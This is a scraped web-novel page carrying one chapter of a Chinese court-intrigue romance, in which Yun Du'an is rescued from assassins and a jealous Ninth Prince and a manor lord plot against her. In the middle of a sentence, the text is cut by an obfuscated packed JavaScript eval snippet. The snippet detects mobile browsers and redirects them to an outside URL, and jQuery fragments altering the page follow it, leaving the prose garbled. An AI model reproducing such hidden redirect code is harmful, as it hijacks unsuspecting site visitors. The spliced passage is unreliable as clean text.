默认冷灰
24号文字
方正启体

8. 九皇子的妒意

作者:改改猫本书字数:K更新时间:
    云渡安刚到廊上,就见几人鬼鬼祟祟的。


    不对。


    不是鬼祟——是冲着她来的。


    她常年在暴戾的嬷嬷手下讨生活,挨过的鞭子数不胜数,是以对危险有着敏锐的感知。


    这几人都是练家子,她打不过。


    见要她跑,果不其然那几个人从一旁抽出大刀,朝她冲了过来,甚是骇人。


    脑子还没来得及反应,身体就先躲了过去。


    她往反方向闷头往前跑。


    完了,长廊的尽头没有路了,只有一扇紧闭的门。


    云渡安咬牙撞开,来不及看屋内什么情况,瞄准窗口就要往下跳。


    腰间骤然一紧,一股力道将她拽回,云渡安踉跄着跌倒在一个温热的怀抱里。


    她慌乱抬眼,一看竟然是那贼子?


    不会吧,他们是一伙的?


    云渡安脑子里轰的一声炸开。


    完了。


    禁锢着她的人看着身形清瘦,手臂扣住她的腰肢,纹丝不动,声音懒洋洋的,带着一丝显而易见的笑意。


    “别闹,安分点”


    扣紧她的人身上带有一股不知名的香,好闻得很。


    脚步声越来越近,那些人快要进来了。


    算了,要死一起死吧,云渡安破罐子破摔地往他怀里缩,脸埋在他的胸口,好闻的味道让她忍不住猛嗅了几口。


    薄昭珩垂眸打量着怀里的小姑娘,她因害怕浑身抖得不行,明明怕得要死,却还猛闻他身上的味道。


    真可爱啊,他好像不止想挖她的眼睛了呢。


    温热的手指戳戳她紧闭的眼皮、碰碰她的睫毛,怀里的人抖得更厉害了。


    他低低地笑了一声,语气格外的促狭。


    “小姑娘的把戏,适可而止叫情趣,多了就不可爱了”


    这近乎调情的语调,让云渡安直接僵成一条死鱼,连大气都不敢喘。


    “乖点,不动你”


    “哈哈哈,六哥,可别欺负人家小姑娘了”


    另一道调侃的声音飘到云渡安的耳朵里,松弛的话语,貌似危机已经解除了,她悄悄的从薄昭珩的怀里探出头,想瞟一眼那人。


    却未曾想视线先着落在那人身侧的中年男子身上。


    很陌生又熟悉的一张脸,脑子却半点印象都没有。


    她一向见人脸过目不忘,怎么会没有一丝一毫的记忆呢?


    还想再看几眼,一只手把她的脑袋按了回去,宽大的衣袖遮住了她的视线。


    “乖乖的”


    “钟离庄主,认识我六哥的”那个调侃的声音顿了顿,见人被护得严严实实的,遂玩味一笑“宠物吗?”


    中年男子眼里闪过一丝疑惑,随即掩盖过去了。


    “未曾见过”


    就在这时,门外涌来大批人——追赶行凶者的、看热闹的、打探消息的,乱成一团。


    然后,一个赶来看热闹的人愣在了门口。


    薄明松不可置信地盯着眼前的画面。


    “二……二哥?”


    他那短命的未婚妻,娇卧在他二哥怀里,他二哥,他那洁身自好的二哥,从不寻花问柳的二哥,此刻像流氓一样的调戏人家小姑娘。


    听到有些熟悉的声音,云渡安扒拉开薄昭珩的衣袖。


    她那风流的未婚夫身后乌泱泱跟着一群人,呆瓜式的愣在门口。


    真糟糕。


    现在的姿势真糟糕。


    她还没来得及抓薄明松的奸呢,反过来被抓了。


    云渡安挣扎着想起来,那只手却半点不松,她犹豫的看了看薄明松,小心翼翼的开口:


    “二……二伯哥?”


    薄昭珩皱眉,二伯哥?她倒会抱大腿。


    手一松,云渡安一骨碌的就窜到了门边。


    “啧,真有意思”一声轻笑。


    众人这才注意到屋内还有一个人——坐在薄昭珩对面,衣着华贵,气度不凡。他腰间绛黄色丝绦挂着的令牌,赫然是皇子巡行专属的。


    谁都知晓,九皇子凤寂不日便会抵达弈阳,主持喻林武试终局,能与薄二公子同席而坐的,除了他,再无旁人。


    九皇子提前到了?而且是先来的醉生楼?


    反应过来的众人齐刷刷跪了一地:


    “恭迎九殿下,九殿下安”


    凤寂摆摆手,兴致缺缺:


    “无趣,都出去吧”


    众人如蒙大赦,兔子一般往外跑,得赶紧回去告诉老爹,九皇子提前到了,而且先到的醉生楼寻乐子。


    “姑娘,请留步”


    刚刚制伏住那几个行凶者的侍卫叫住了云渡安。


    薄明松一个箭步挡在她面前,警惕地看着那侍卫:


    “凌觉,她确实是我未过门的妻子,跟父亲商量好了的,我来年春试完就迎她过门”


    虽然他瞧不上云渡安,但是目前也没有比她更能让父亲同意的人选了,且她一介孤女,娶进来后还不是任他拿捏。


    只要她安分呆着,他可保她在婚约里平平安安的,他二哥嘛,嗜血不好女色,落他二哥手里,指不定能活几天。


    “三公子误会了”侍卫不卑不亢,“这几人貌似冲着这姑娘来的,请姑娘随我去一趟衙门,录个口供,也好早日查明幕后真凶”


    包厢的木门被重新关上,无关人员都被清了出去。


    薄昭珩恹恹的靠着,刚刚面上涌起的几分气色,现下都褪得干干净净的。


    “看来六哥要错失所爱了”


    凤寂托着腮,明目张胆的打量着眼前病气缠身的人。


    “没办法,习惯了”


    轻描淡写的一句话,让凤寂戏谑的笑容微僵,这是在暗讽他横刀夺爱吗?


    他倒差点忘了,他六哥与他的皇妃青梅竹马,有过一段情缘。


    “六哥这是在怪罪我?是灵柔她心悦于我,我不得已”


    对这件事凤寂没有半分愧疚,他的权势确实夺了凤夜的白月光,但那也是他的白月光心甘情愿的。


    “殿下多虑了”


    薄昭珩带着和善的笑,端着茶杯朝他示意。


    “祝你们白头偕老。”


    凤寂盯着他的脸,想从那副病容里看出点什么。


    方才那个小姑娘,他护得那样紧。这一次,只怕又是竹篮打水一场空。


    “那就借六哥吉言了,只是今年祭祖,六哥没来,皇后娘娘和我母妃很是想念”


    凤寂状做惋惜的试探道,今年的祭祖父皇让他主持安排的,是第一次,早些年都是由六哥去的,若不是发生了那事,六哥只能被囚在弈阳,也轮不上他。


    “我这副身子没几天活头了,劳娘娘记挂”


    薄昭珩掩面咳了几声,一副不


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17351414|199610||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    久于人世的模样。


    “六哥多保重身体。”


    夜色渐深,弈阳城已然宵禁,长街空旷,只有巡夜士卒往来走动。


    “六殿下怀里的女子,找个机会除掉”


    说话的竟赫然是那厢房里中年男子,与薄昭珩见过后,他心里总是隐隐不安。


    “庄主为何?”


    钟离岳望着远处的屋顶,那女人的眉目长相让他想起不好的人,宁杀错不放过。


    “钟离未雪但愿不是你”


    “大……大小姐”侍从抖了抖。


    钟离岳猛然回过头。


    “什么大小姐,不过一个将死之人”


    说罢,一甩袖,往前走去。


    侍从连忙跟了上去,道出了自己的顾虑“只是六皇子和九皇子那边……”


    “做隐晦些,人尽快除掉”


    “是,老爷”


    另一边,回到住所的凤寂,也没急着睡下。


    “他是真病,还是假病?”


    “殿下宽心,您得陛下倚重,无论六皇子真病假病,都掀不起什么波澜”


    “是吗?”


    凤寂讥诮一笑,猛灌了几口清酒。


    这么多年了,他处处周全妥帖,群臣悦服。可父皇呢?眼里就只有六哥,哪怕六哥是个残缺的人。


    一念至此酒杯被愤然一摔,应声裂开。


    该死的人活得好好的,着实让人心情不快。


    众人惶惶,都不敢再劝解什么。


    空气僵滞间,门“吱呀”一声被推开。


    “怎么?还学不会静心?”


    来人竟是国师,他车马行得慢,现下才到弈阳,见满地残渣碎片,挥手遣退了众人。


    “沉心静气”


    凤寂见是他,也不起身,只往窗轩一靠:


    “国师不若你再算算,我六哥还剩多少时日,省得我母妃日夜忧心”


    “六皇子命格残缺,不过三十”国师缓缓开口。


    “命不过三十?”凤寂轻笑一声,满是不屑,“等过几日国师再算,我六哥怕是要长命百岁了。”


    国师面色微僵,当年六皇子本该是死命的局,却不曾想真有那么一物,让他起死回生,可惜了那变故,只让六皇子被废弃太子之位。


    “他该死了,父皇才肯把那位置让给我吗?”


    这话像是在问国师,又像是在问自己。夜风灌进来,吹得烛火摇曳,他的侧脸在明灭的光影里晦暗不明。


    沉默片刻,他忽然又开口,语气里带着点嘲弄的意味:


    “既算不出来命数,那你说说,他真喜欢那女子吗?”


    国师顺着他的视线望过去。


    长街尽头,一男一女并肩而行,那女人的眉眼,让他想起一个很不好的人。


    “六皇子心性冷硬,向来不耽于女色”


    “不重要。”


    凤寂冷冷打断,从窗边的箭壶中取出一支箭,搭在弓上,慢慢拉开。


    “六哥喜欢的东西,毁掉不就好了吗?”


    国师垂眸,袖中的手微微拢紧。


    “他对那女子有所图”


    “哦?”凤寂挑眉,弓弦绷紧了几分。


    “魂骨”国师点到为止。


    凤寂唇角的笑意加深了些许,手松开。


    “那再好不过了”


    箭矢破空而去。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)